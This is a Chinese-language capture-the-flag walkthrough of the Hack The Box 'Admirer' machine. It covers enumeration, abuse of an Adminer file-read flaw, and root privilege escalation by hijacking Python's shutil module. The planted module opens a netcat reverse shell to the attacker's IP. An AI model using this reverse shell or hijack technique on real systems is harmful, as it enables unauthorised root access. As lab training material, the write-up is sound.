HTB walkthrough – Admirer

0x01 信息收集

使用nmap扫描端口开放情况

dirb搜索到robots.txt

访问robots.txt,页面中提到一个文件夹/admin-dir
用wfuzz对这个文件进行扫描

得到contacts.txtcredentials.txt

看到有一个ftp用户,尝试ftp登录

登录成功,将dump.sqlhtml.tar.gz文件下载到本地
html.tar.gz解压后,分别有以下内容

index.php

utility-scripts/

db_admin.php

admin_tasks.php

后面实在不知道怎么继续,Google到一篇walkthrough,里面提到adminer.php,于是访问adminer.php

发现用所有的账号密码都无法登录

0x02 adminer

参考这篇文章Serious Vulnerability Discovered in Adminer database Administration Tool

首先在kali上创建一个mysql用户,并且可以用这个用户来远程登录mysql
接下来,我创建了个用户admir:passwd ,和数据库admirer

登录后,跟着链接中的步骤,尝试读取index.php


发现读取出来的index.php中有一个账号用户与之前获得的源码不同

这个账户密码可以用来登录adminer

0x03 提权为root

后来发现,用上面那个密码还可以登ssh

查看当前用户的sudo权限 sudo -l

查看这个脚本文件
cat /opt/scritps/admin_tasks.sh

#!/bin/bashview_uptime()
{/usr/bin/uptime -p
}view_users()
{/usr/bin/w
}view_crontab()
{/usr/bin/crontab -l
}backup_passwd()
{if [ "$EUID" -eq 0 ]thenecho "Backing up /etc/passwd to /var/backups/passwd.bak..."/bin/cp /etc/passwd /var/backups/passwd.bak/bin/chown root:root /var/backups/passwd.bak/bin/chmod 600 /var/backups/passwd.bakecho "Done."elseecho "Insufficient privileges to perform the selected operation."fi
}backup_shadow()
{if [ "$EUID" -eq 0 ]thenecho "Backing up /etc/shadow to /var/backups/shadow.bak..."/bin/cp /etc/shadow /var/backups/shadow.bak/bin/chown root:shadow /var/backups/shadow.bak/bin/chmod 600 /var/backups/shadow.bakecho "Done."elseecho "Insufficient privileges to perform the selected operation."fi
}backup_web()
{if [ "$EUID" -eq 0 ]thenecho "Running backup script in the background, it might take a while..."/opt/scripts/backup.py &elseecho "Insufficient privileges to perform the selected operation."fi
}backup_db()
{if [ "$EUID" -eq 0 ]thenecho "Running mysqldump in the background, it may take a while..."#/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &/usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &elseecho "Insufficient privileges to perform the selected operation."fi
}# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
thenoption=$1case $option in1) view_uptime ;;2) view_users ;;3) view_crontab ;;4) backup_passwd ;;5) backup_shadow ;;6) backup_web ;;7) backup_db ;;*) echo "Unknown option." >&2esacexit 0
fi# Interactive way, to be called from the command line
options=("View system uptime""View logged in users""View crontab""Backup passwd file""Backup shadow file""Backup web data""Backup DB""Quit")echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; docase $REPLY in1) view_uptime ; break ;;2) view_users ; break ;;3) view_crontab ; break ;;4) backup_passwd ; break ;;5) backup_shadow ; break ;;6) backup_web ; break ;;7) backup_db ; break ;;8) echo "Bye!" ; break ;;*) echo "Unknown option." >&2esac
doneexit 0

在备份web的过程中,调用了backup.py
cat backup.py

#!/usr/bin/python3                                                                                                                                                                                                from shutil import make_archive                                                                                                                                                                                   src = '/var/www/html/'                                                                                                                                                                                            # old ftp directory, not used anymore
#dst = '/srv/ftp/html'                                                                                                                                                                                            dst = '/var/backups/html'                                                                                                                                                                                         make_archive(dst, 'gztar', src)

py脚本中用到了make_archive 函数,参考HTB::Admirer Walkthrough,文章中提到了用python库劫持的方法来提权
具体操作可参考:https://rastating.github.io/privilege-escalation-via-python-library-hijacking/

查看当前Python库的路径:

上图结果中的文件夹都不可写,所以只能新创建一个文件夹,用PYTHONPATH 来指定库的路径

在kali中编写shutil.py

import osdef make_archive(a, b, c):os.system("nc 10.10.14.106 1234 -e '/bin/sh'")

然后用scp拷贝到靶机中

运行

kali中监听到结果,成功提权,读取root.txt

0x03 总结

  1. adminer文件泄露漏洞 https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool
  2. python库劫持提权 https://rastating.github.io/privilege-escalation-via-python-library-hijacking/

HTB walkthrough -- Admirer相关推荐

  1. [Hack The Box] HTB—Paper walkthrough

    [Hack The Box] HTB-Paper walkthrough HTB-Paper [Hack The Box] HTB-Paper walkthrough 一.信息搜集 X-Backend ...

  2. A Complete Machine Learning Walk-Through in Python

    A Complete Machine Learning Project Walk-Through in Python: Part One A Complete Machine Learning Pro ...

  3. 手机流量共享 linux,linux – 通过HTB共享带宽和优先处理实时流量,哪种方案更好?...

    我想在我们的互联网线路上添加一些流量管理.在阅读了大量文档之后,我认为HFSC对我来说太复杂了(我不了解所有曲线的东西,我担心我永远不会把它弄好),CBQ不推荐,基本上HTB就是通往适合大多数人. 我 ...

  4. linux htb 源代码,LINUX TC:HTB相关源码

    LINUX TC:HTB相关源码 收藏 HTB(hierarchy token buffer)是linux tc(traffic control)模块中的排队队列的一种.它的配置比CBQ要简单.同时实 ...

  5. OPEN(SAP) UI5 学习入门系列之四:更好的入门系列-官方Walkthrough

    好久没有更新了,实在不知道应该写一些什么内容,因为作为入门系列,实际上应该更多的是操作而不是理论,而在UI5 SDK中的EXPLORER里面有着各种控件的用法,所以在这里也没有必要再来一遍,还是看官方 ...

  6. exif viewer java,1earn/XSS挑战-WalkThrough.md at master · dizhaung/1earn · GitHub

    XSS挑战-WalkThrough 免责声明 本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关. 知识点 无过滤 XSS (level 1) 各种难度 ...

  7. Linux 工具 | 第1篇:高级流控-TC+HTB+IFB+内核模块

    作者:isshe 日期:2018.09.19 邮箱:i.sshe@outlook.com github: https://github.com/isshe 高级流控-TC+HTB+IFB+内核模块 1 ...

  8. Walkthrough: Word 2007 XML 格式

    本页内容 简介 Word 2007 文档包 Word XML格式的开放打包约定 解析Word 2007文件 确定Word 2007文档中的非XML部件 从文档中分离内容 理解数据存储 结论 简介 Mi ...

  9. linux下TC+HTB流量控制

    C规则涉及到 队列(QUEUE) 分类器(CLASS) 过滤器(FILTER),filter划分的标志位可用U32或iptables的set-mark来实现 ) 一般是"控发"不控 ...

最新文章

  1. love2d教程3--输入和音乐
  2. 安卓图标_干货 | 安卓界面系统规范
  3. 吃鸡电脑配置清单_2020电脑配置游戏装机清单(覆盖主流游戏)
  4. linux json 写sql注入,sql注入之AJAX(SQL Injection (AJAX/JSON/jQuery))
  5. if name==main是什么意思_Python中if __name__ == quot;__main__quot;:是什么意思
  6. Vim GDB 调试器编译配置说明
  7. CentOS8安装MySQL可视化客户端
  8. java 换行规范_JAVA代码规范(一)
  9. c语言指针和数组的转换,指针和数组的转换
  10. WPF界面设计风格资源库
  11. 34. 脱壳篇-FSG压缩壳、ImportREC修复IAT输入表的使用,令一种寻找OEP方式
  12. Windows 键盘按键 测试
  13. 分享:MSDN visual studio 2010简体中文旗舰版,专业版下载(内置正版密钥)
  14. Java中的Constants类
  15. 不限机型,手机端实时玩转3D、混合现实,快手Y-tech有黑科技(已开源)
  16. php 微信 语音,微信语音的上传与下载功能实现详解
  17. 安徽身份证网上办理最全攻略
  18. 股票MACD指标算法公式
  19. 【软件测试教程】Jmeter接口测试+压力测试
  20. 砸金蛋java代码_java实现砸金蛋抽奖功能

热门文章

  1. 老虎证券国际完成5亿C轮融资 估值10.6亿美元成新独角兽
  2. 最速下降法(适用于求二阶极小值)
  3. 名校博士生临近毕业突然离世,去世前一直在熬夜完善毕业论文
  4. c语言中if(a字节4),【鲁班】的意思是什么?【鲁班】是什么意思?
  5. 读书笔记-Designing Interfaces中文版
  6. 公寓报修系统(IDEA,SSM,MySQL)
  7. ZigBee3.0_JENNIC-JN516x-ZigBeeBaseDevice_20170604_1.0
  8. Vue仿饿了么app项目总结
  9. 循环经济下的商业模式
  10. 几乎全面的食品英文总结 (吃遍英文单词)